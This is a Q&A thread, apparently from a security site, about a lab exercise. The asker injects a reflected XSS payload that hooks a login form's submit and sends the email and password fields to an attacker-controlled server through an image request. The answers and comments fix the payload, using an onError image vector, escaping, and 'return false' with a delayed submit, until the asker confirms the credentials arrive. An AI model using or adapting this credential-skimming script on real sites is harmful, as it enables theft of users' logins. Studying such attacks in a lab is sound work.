I am trying to solve this exercise. The objective of this is to "Post the Username and Password to Attacker Controlled Server". There is a url parameter that the server takes, and it gets reflected back onto the page. Which is what we need to use as the XSS vector.

Now, I have written a script like this:

<script type="text/javascript"> 
function HijackCred() {
    var email = document.forms[0].elements[0].value;
    var pass = document.forms[0].elements[1].value;
    img = document.createElement("img");
    img.src = "" + "email=" + email + "&" + "password=" + pass;
document.forms[0].onsubmit = HijackCred;

The injection works fine as I can see the script reflected back onto the page. However the script payload does not send the credentials to the attacker controlled server. Any suggestions?

  • Does the script get executed at all? If you for example inject <script> tags after the page has loaded, the script will not be executed. In that case, you will have to inject something like <img src=x onError="JavaScript code">. You could try to add alert() to your script to see if it is being executed. – stanko Jul 15 '15 at 7:31
  • Yes. I can confirm that the script does get executed. If I alert the username and password values, it does get alerted. – user1720897 Jul 15 '15 at 7:37
  • I'm not an expert in JS, but maybe you have to add the image object you created to the HTML? Maybe try something like this: document.getElementById("placehere").appendChild(img); and replace placehere with the ID of an div tag for example. – stanko Jul 15 '15 at 7:41
  • Or maybe you could try to change the "action" parameter of your form like this document.form-name.action = "" + "email=" + email + "&" + "password=" + pass; and just replace form-name with the forma name (if it has a name attribute of course) – stanko Jul 15 '15 at 7:48
  • If you're using Chrome, the site hasn't opted to disable XSS blocking so it won't work there. – user2428118 Jul 15 '15 at 20:19

I would make some amends to your script:

img = new Image();
img.src = "" + "email=" + escape(email) + "&" + "password=" + escape(pass);
setTimeout('document.forms[0].submit();', 3000);
return false;

This should send the data to the attacker's page and then submit the form after 3 seconds, once the browser has had chance to send the credentials to the attacker.

  • The site isn't HTTPS. Its just plain old HTTP. I tried your amendments. Doesn't help. – user1720897 Jul 15 '15 at 10:28
  • 3
    Try a return false. This should stop the site submitting the form, but might give your page time to receive the response. Have a look in browser dev tools for any error messages. – SilverlightFox Jul 15 '15 at 10:29
  • The HTTP server at the other end is a simple Python module(SimpleHTTPServer). All it does is display the GET request. – user1720897 Jul 15 '15 at 10:58
  • When I put a return false, the server does receive the response. I am confused now! Why doesn't it receive the response without it? – user1720897 Jul 15 '15 at 10:59
  • 1
    I assume because when you hit submit, the form will redirect you before the JS code can execute. By entering "return false", you disable the default action of the submit button, that means, it will not automatically redirect you, and the JS code has time to execute. – stanko Jul 15 '15 at 13:38

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.